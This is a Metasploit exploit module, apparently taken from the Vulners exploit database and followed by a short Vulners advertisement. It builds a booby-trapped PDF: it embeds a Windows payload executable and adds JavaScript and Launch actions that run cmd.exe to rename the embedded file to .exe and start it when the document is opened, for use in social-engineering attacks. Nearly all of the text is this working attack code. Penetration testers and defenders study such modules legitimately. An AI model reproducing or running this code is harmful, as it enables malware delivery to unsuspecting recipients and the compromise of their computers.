`require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::PDF_Parse
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe PDF Embedded EXE Social Engineering',
'Description' => %q{
This module embeds a Metasploit payload into an existing PDF file. The
resulting PDF can be sent to a target as part of a social engineering attack.
},
'License' => MSF_LICENSE,
'Author' => [ 'Colin Ames <amesc[at]attackresearch.com>' ],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English)', { 'Ret' => '' } ]
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('INFILENAME', [ false, 'The Input PDF filename.', 'msf.pdf']),
OptString.new('EXENAME', [ false, 'The Name of payload exe.', '']),
OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/']),
], self.class)
end
def exploit
file_name = datastore['INFILENAME']
exe_name = datastore['EXENAME']
print_status("Reading in '#{file_name}'...")
stream = read_pdf()
print_status("Parsing '#{file_name}'...")
pdf_objects = parse_pdf(stream)
print_status("Parsing Successful.")
xref_trailers = pdf_objects[0]
trailers = pdf_objects[1]
startxrefs = pdf_objects[2]
root_obj = pdf_objects[3]
output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(output)
end
def ef_payload(pdf_name,payload_exe,obj_num)
if payload_exe.empty?
print_status("Using '#{datastore['PAYLOAD']}' as payload...")
payload_exe = Msf::Util::EXE.to_win32pe(framework,payload.encoded)
file_size = payload_exe.length
stream = Rex::Text.zlib_deflate(payload_exe)
md5 = Rex::Text.md5(stream)
else
print_status("Using '#{datastore['EXENAME']}' as payload...")
file_size = File.size(payload_exe)
stream = Rex::Text.zlib_deflate(IO.read(payload_exe))
md5 = Rex::Text.md5(File.read(payload_exe))
end
output = String.new()
output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>stream\r#{stream}\r\nendstream\rendobj\r"
return output
end
def js_payload(pdf_name,obj_num)
output = String.new()
output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C (if exist \"%HOMEPATH%\\\\My Documents\\\\#{pdf_name}.pdf\" (cd \"%HOMEPATH%\\\\My Documents\"))&(if exist \"%HOMEPATH%\\\\Desktop\\\\#{pdf_name}.pdf\" (cd \"%HOMEPATH%\\\\Desktop\"))&(if exist \"%HOMEDRIVE%\\\\%HOMEPATH%\\\\My Documents\\\\#{pdf_name}.pdf\" (%HOMEDRIVE%&cd %HOMEPATH%& cd \"My Documents\"))&(if exist \"%HOMEDRIVE%\\\\%HOMEPATH%\\\\Desktop\\\\#{pdf_name}.pdf\" (%HOMEDRIVE%&cd %HOMEPATH%&cd Desktop))&&(ren #{pdf_name}.pdf #{pdf_name}.exe&start #{pdf_name}.exe))>>>>\rendobj\r"
return output
end
def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)
file_name = file_name.split(/\//).pop.to_s
match = file_name.match(/(.+)\.pdf/)
if match
pdf_name = match[1]
end
catalog = parse_object(xref_trailers,root_obj,stream)
match = catalog.match(/Names (\d+ \d) R/m)
if match
names = parse_object(xref_trailers,match[1],stream)
match = names.match(/EmbeddedFiles (\d+ \d) R/m)
if match
embedded_files = parse_object(xref_trailers,match[1],stream)
new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')
else
new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')
end
else
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")
end
if catalog.match(/OpenAction/m)
match = catalog.match(/OpenAction (\d+ \d) R/m)
if match
open_action = "#{match[1]} R"
if new_catalog
if new_embedded_files
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
elsif new_names
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
else
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
end
else
if new_embedded_files
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
elsif new_names
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
else
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
end
end
else
if new_catalog
new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
else
new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
end
end
else
if new_catalog
if new_embedded_files
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
elsif new_names
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
else
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
end
else
if new_embedded_files
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
elsif new_names
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
else
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
end
end
end
pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
pages = parse_object(xref_trailers,pages_obj,stream)
page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
page = parse_object(xref_trailers,page_obj,stream)
match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
while match
page_obj = match[1]
page = parse_object(xref_trailers,page_obj,stream)
match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
end
match = page.match(/AA<<\/O (\d+ \d) R/m)
if match
aa = parse_object(xref_trailers,match[1],stream)
end
new_pdf = String.new()
xrefs = String.new()
if new_embedded_files
pdf_payload = String.new()
num = trailers[0].fetch("Size").to_i - 1
pdf_payload << ef_payload(pdf_name,exe_name,num)
pdf_payload << js_payload(pdf_name,num)
new_pdf << stream << pdf_payload
xrefs = xref_create(new_pdf,stream.length,"*")
new_size = trailers[0].fetch("Size").to_i + 4
if aa
new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')
else
new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')
end
new_pdf << new_catalog
xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
new_pdf << new_page
xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
new_pdf << new_embedded_files
xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")
if trailers[0].has_key?("ID")
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
else
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
end
new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
elsif new_names
pdf_payload = String.new()
num = trailers[0].fetch("Size").to_i
pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"
pdf_payload << ef_payload(pdf_name,exe_name,num)
pdf_payload << js_payload(pdf_name,num)
new_pdf << stream << pdf_payload
xrefs = xref_create(new_pdf,stream.length,"*")
new_size = trailers[0].fetch("Size").to_i + 5
if aa
new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')
else
new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')
end
new_pdf << new_catalog
xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
new_pdf << new_page
xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
new_pdf << new_names
xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")
if trailers[0].has_key?("ID")
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
else
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
end
new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
else
pdf_payload = String.new()
num = trailers[0].fetch("Size").to_i + 1
pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
pdf_payload << ef_payload(pdf_name,exe_name,num)
pdf_payload << js_payload(pdf_name,num)
new_pdf << stream << pdf_payload
xrefs = xref_create(new_pdf,stream.length,"*")
new_size = trailers[0].fetch("Size").to_i + 6
if aa
new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')
else
new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')
end
new_pdf << new_catalog
xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
new_pdf << new_page
xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
if trailers[0].has_key?("ID")
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
else
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
end
new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
end
return new_pdf
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation